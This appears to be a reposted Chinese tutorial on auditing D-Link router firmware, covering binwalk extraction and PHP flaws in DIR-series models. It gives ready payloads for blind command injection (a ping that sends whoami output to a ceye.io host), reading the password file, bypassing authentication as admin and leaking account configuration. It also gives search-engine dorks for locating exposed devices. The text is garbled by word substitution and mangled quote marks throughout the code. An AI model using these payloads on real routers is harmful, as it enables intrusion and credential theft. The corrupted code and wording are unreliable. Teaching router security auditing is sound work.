首页 » PHP教程 » phpbsc技巧_DLink系列路由器马脚挖掘入门

phpbsc技巧_DLink系列路由器马脚挖掘入门

访客 2024-11-18 0

扫一扫用手机浏览

文章目录 [+]

序言

前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能不才面喊 6666,特殊倾慕那些大神们。
以是回来就决定好好研究一下路由器,争取跟上大神们的步伐。
看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习。

phpbsc技巧_DLink系列路由器马脚挖掘入门

准备事情

phpbsc技巧_DLink系列路由器马脚挖掘入门
(图片来自网络侵删)

既然要挖路由器漏洞,首先要搞到路由器的固件。
D-Link路由器固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/

下载完固件创造是个压缩包,解压之后里面还是有一个bin文件。
听说用binwalk就可以解压。
kali-linux自带binwalk,但是短缺一些依赖,以是还是编译安装了一下。

$ sudo apt-get update $ sudo apt-get install build-essential autoconf git# https://github.com/devttys0/binwalk/blob/master/INSTALL.md $ git clone https://github.com/devttys0/binwalk.git $ cd binwalk# python2.7安装 $ sudo python setup.py install# python2.7手动安装依赖库 $ sudo apt-get install python-lzma$ sudo apt-get install python-crypto$ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip $ sudo pip install pyqtgraph$ sudo apt-get install python-pip $ sudo pip install capstone# Install standard extraction utilities(必选) $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools# Install sasquatch to extract non-standard SquashFS images(必选) $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev $ git clone https://github.com/devttys0/sasquatch $ (cd sasquatch && ./build.sh)# Install jefferson to extract JFFS2 file systems(可选) $ sudo pip install cstruct $ git clone https://github.com/sviehb/jefferson $ (cd jefferson && sudo python setup.py install)# Install ubi_reader to extract UBIFS file systems(可选) $ sudo apt-get install liblzo2-dev python-lzo $ git clone https://github.com/jrspruitt/ubi_reader $ (cd ubi_reader && sudo python setup.py install)# Install yaffshiv to extract YAFFS file systems(可选) $ git clone https://github.com/devttys0/yaffshiv $ (cd yaffshiv && sudo python setup.py install)# Install unstuff (closed source) to extract StuffIt archive files(可选) $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv $ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完全的安装binwalk了,这样就可以解开市情上的大部分固件包。
然后用 binwalk -Me 固件包名称 解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root文件夹,便是路由器的完全固件包。

漏洞挖掘

此文章针对历史路由器的web漏洞进行剖析,路由器的web文件夹 一样平常就在suashfs-root/www或者 suashfs-root/htdocs文件夹里。
路由器固件所利用的措辞一样平常为 asp,php,cgi,lua 等措辞。
这里紧张进行php的代码审计来挖掘漏洞。

D-Link DIR-645 & DIR-815 命令实行漏洞

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。

这个漏洞涌如今 diagnostic.php文件。
直接看代码

HTTP/1.1 200 OKContent-Type: text/xml<?if ($_POST[\"大众act\"大众] == \"大众ping\"大众){ set(\"大众/runtime/diagnostic/ping\"大众, $_POST[\"大众dst\"大众]); $result = \"大众OK\"大众;}else if ($_POST[\"大众act\"大众] == \"大众pingreport\"大众){ $result = get(\"大众x\"大众, \公众/runtime/diagnostic/ping\"大众);}echo '<?xml version=\"大众1.0\"大众?>\n';?><diagnostic> <report><?=$result?></report></diagnostic>

剖析代码可以看到,这里没有进行权限认证,以是可以直接绕过登录。
连续往下看,set(\"大众/runtime/diagnostic/ping\公众, $_POST[\公众dst\公众]); 这段代码便是造成漏洞的关键代码。
参数dst没有任何过滤直接进入到了 ping的命令实行里,导致任意命令实行漏洞。
连续往下看 $result = \公众OK\公众;无论是否实行成功,这里都会显示OK。
以是这是一个盲注的命令实行。
以此布局payload

url = 'localhost/diagnostic.php'data = \"大众act=ping&dst=%26 ping `whoami`.ceye.io%26\"大众

由于是盲注的命令实行,以是这里须要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 信息透露漏洞

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。

漏洞涌如今/model/__show_info.php文件。

<?if($REQUIRE_FILE == \公众var/etc/httpasswd\"大众 || $REQUIRE_FILE == \公众var/etc/hnapasswd\"大众){ echo \"大众<title>404 Not Found</title>\n\"大众; echo \"大众<h1>404 Not Found</h1>\n\公众;}else{ if($REQUIRE_FILE!=\公众\"大众) { require($LOCALE_PATH.\公众/\"大众.$REQUIRE_FILE); } else { echo $m_context; echo $m_context2;//jana added if($m_context_next!=\"大众\"大众) { echo $m_context_next; } echo \"大众<br><br><br>\n\"大众; if($USE_BUTTON==\公众1\公众) {echo \"大众<input type=button name='bt' value='\"大众.$m_button_dsc.\公众' onclick='click_bt();'>\n\"大众; } }}?>

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswdvar/etc/hnapasswd
这么一看无法获取账号密码。
但是我们可以从根路径开始配置httpasswd的路径,就可以绕过这个过滤了。

payload:

localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd 成功绕过上面的 if判断,进行任意文件读取。

D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情形下,Web界面中的所有页面都须要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。
为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

<?$MY_NAME =\"大众login_fail\"大众;$MY_MSG_FILE=$MY_NAME.\公众.php\公众;$NO_NEED_AUTH=\"大众1\"大众;$NO_SESSION_TIMEOUT=\公众1\公众;require(\公众/www/model/__html_head.php\"大众);?>

此漏洞触发的缘故原由在于 全局文件 _html_head.php

<?/ vi: set sw=4 ts=4: /if ($NO_NEED_AUTH!=\公众1\"大众){/ for POP up login. /// require(\公众/www/auth/__authenticate_p.php\公众);// if ($AUTH_RESULT==\"大众401\公众) {exit;}/ for WEB based login /require(\"大众/www/auth/__authenticate_s.php\"大众);if($AUTH_RESULT==\"大众401\"大众) {require(\"大众/www/login.php\"大众); exit;}if($AUTH_RESULT==\"大众full\"大众) {require(\公众/www/session_full.php\"大众); exit;}if($AUTH_RESULT==\"大众timeout\"大众) {require(\公众/www/session_timeout.php\"大众); exit;}$AUTH_GROUP=fread(\"大众/var/proc/web/session:\"大众.$sid.\公众/user/group\"大众);}require(\"大众/www/model/__lang_msg.php\公众);?>

这里我们看到 $NO_NEED_AUTH!=\"大众1\"大众 如果 $NO_NEED_AUTH 不为 1 则进入身份认证。
如果我们把$NO_NEED_AUTH值 设置为 1 那就绕过了认证进行任意操作。

payload:

localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里AUTH_GROUP=0 表示admin权限

D-Link DIR-645 信息透露漏洞

Zoomeye dork:DIR-645

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/htdocs 文件夹

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息透露漏洞。

$SERVICE_COUNT = cut_count($_POST[\"大众SERVICES\"大众], \"大众,\"大众);TRACE_debug(\"大众GETCFG: got \"大众.$SERVICE_COUNT.\"大众 service(s): \"大众.$_POST[\公众SERVICES\"大众]);$SERVICE_INDEX = 0;while ($SERVICE_INDEX < $SERVICE_COUNT){ $GETCFG_SVC = cut($_POST[\公众SERVICES\公众], $SERVICE_INDEX, \公众,\公众); TRACE_debug(\"大众GETCFG: serivce[\"大众.$SERVICE_INDEX.\"大众] = \"大众.$GETCFG_SVC); if ($GETCFG_SVC!=\公众\"大众) { $file = \"大众/htdocs/webinc/getcfg/\"大众.$GETCFG_SVC.\"大众.xml.php\"大众; / GETCFG_SVC will be passed to the child process. / if (isfile($file)==\"大众1\"大众) dophp(\"大众load\公众, $file); } $SERVICE_INDEX++;}

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 通报过来的SERVICES的值。
如果$GETCFG_SVC不为空,则进行文件读取。
这里我们就可以读取存储此设备信息的DEVICE.ACCOUNT.xml.php文件。

payload:

http://localhost/getcfg.phppost:SERVICES=DEVICE.ACCOUNT

总结

可以创造此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息透露,命令实行等漏洞。
由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是由于对参数过滤不严格所导致的。
路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事宜,以及个人信息的透露。

标签:

相关文章

多语言表设计在全球化背景下的重要性

随着全球化的不断深入,语言作为一种重要的交流工具,越来越受到人们的重视。在这个过程中,多语言表设计成为了一个不可或缺的环节。本文将...

PHP教程 2024-12-27 阅读0 评论0

大专学C语言,编程之路的起点与成长

C语言作为计算机科学领域的基础,历经数十年的发展,仍然在各类编程语言中占据重要地位。近年来,随着我国信息化建设的不断深入,对C语言...

PHP教程 2024-12-27 阅读0 评论0

夏日炎炎,探秘夏季语言的魅力与智慧

夏日炎炎,阳光洒满大地,万物生长,生机勃勃。在这个充满活力的季节里,我国丰富的语言文化也呈现出独特的魅力。夏季语言,作为我国语言文...

PHP教程 2024-12-27 阅读0 评论0